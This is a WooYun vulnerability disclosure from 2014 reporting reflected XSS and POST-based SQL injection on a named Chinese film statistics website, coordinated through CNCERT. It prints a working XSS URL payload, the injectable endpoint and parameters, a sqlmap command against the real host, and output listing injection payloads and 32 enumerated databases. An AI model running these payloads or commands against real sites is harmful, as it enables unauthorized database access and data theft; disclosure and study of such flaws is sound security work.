当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-079618

漏洞标题:中国电影统计平台SQL注入+XSS#我也能控制全国所有电影了

相关厂商:cncert国家互联网应急中心

漏洞作者: 残废

提交时间:2014-10-16 16:34

修复时间:2014-11-30 16:36

公开时间:2014-11-30 16:36

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-16: 细节已通知厂商并且等待厂商处理中
2014-10-20: 厂商已经确认,细节仅向厂商公开
2014-10-30: 细节向核心白帽子及相关领域专家公开
2014-11-09: 细节向普通白帽子公开
2014-11-19: 细节向实习白帽子公开
2014-11-30: 细节向公众公开

简要描述:

现在什么漏洞都流行个全国
我也来一发
SQL注入+XSS 我也可以发电影啦~

详细说明:

XSS

http://www.dianyingtongji.cn/Common/getdate.asp?datasp=asd%22/%3E%3Cbody/onload=alert%281%29%3E


POST型SQL注入
dianyingtongji.cn IP地址:211.146.5.13[北京市宣武区 广电网]
url

http://www.dianyingtongji.cn/hy_index/notify.asp


POST的内容

password=1&pwds=1&Digest=1&SN_SERAL=1&proj=XM00&UKeySerial=1

漏洞证明:

http://www.dianyingtongji.cn/Common/getdate.asp?datasp=asd%22/%3E%3Cbody/onload=alert%281%29%3E


xss.png


url

http://www.dianyingtongji.cn/hy_index/notify.asp


POST的内容

password=1&pwds=1&Digest=1&SN_SERAL=1&proj=XM00&UKeySerial=1


<code[root@Hacker~]# Sqlmap -u "http://www.dianyingtongji.cn/hy_index/notify.asp" --d
ata "password=88952634&pwds=88952634&Digest=88952634&SN_SERAL=88952634&proj=XM00
&UKeySerial=88952634" --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 16:08:59
[16:08:59] [INFO] resuming back-end DBMS 'microsoft sql server'
[16:08:59] [INFO] testing connection to the target url
sqlmap got a 302 redirect to 'http://www.dianyingtongji.cn:80/common/sendmessage
.asp'. Do you want to follow? [Y/n] n
[16:09:04] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: POST
Parameter: UKeySerial
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: password=88952634&pwds=88952634&Digest=88952634&SN_SERAL=88952634&p
roj=XM00&UKeySerial=88952634' AND 6675=CONVERT(INT,(CHAR(58)+CHAR(115)+CHAR(97)+
CHAR(98)+CHAR(58)+(SELECT (CASE WHEN (6675=6675) THEN CHAR(49) ELSE CHAR(48) END
))+CHAR(58)+CHAR(98)+CHAR(112)+CHAR(121)+CHAR(58))) AND 'rhqd'='rhqd
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: password=88952634&pwds=88952634&Digest=88952634&SN_SERAL=88952634&p
roj=XM00&UKeySerial=88952634' UNION ALL SELECT NULL, NULL, CHAR(58)+CHAR(115)+CH
AR(97)+CHAR(98)+CHAR(58)+CHAR(69)+CHAR(70)+CHAR(84)+CHAR(67)+CHAR(73)+CHAR(103)+
CHAR(68)+CHAR(90)+CHAR(65)+CHAR(117)+CHAR(58)+CHAR(98)+CHAR(112)+CHAR(121)+CHAR(
58), NULL, NULL, NULL, NULL--
---
[16:09:04] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
[16:09:04] [INFO] fetching database names
[16:09:05] [INFO] the SQL query used returns 32 entries
available databases [32]:
[*] ccwmData
[*] CFSN
[*] CFSN2008
[*] CFSN2JSC
[*] cfsntemp
[*] FXData
[*] FYLT
[*] hbzlData
[*] hnxxData
[*] HYSMSKC
[*] jzsdData
[*] master
[*] model
[*] msdb
[*] PWTJ
[*] PWTJBak
[*] pwtjtest
[*] ReportServer
[*] ReportServerTempDB
[*] sdakData
[*] sdlxData
[*] shhgData
[*] SHI
[*] szsyData
[*] tempdb
[*] tjygData
[*] wzydData
[*] xacaData
[*] xflhData
[*] xhtsData
[*] xjdygsData
[*] ydjzData
></code>

sql.png


修复方案:

你懂的

版权声明:转载请注明来源 残废@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2014-10-20 11:35

厂商回复:

最新状态:

暂无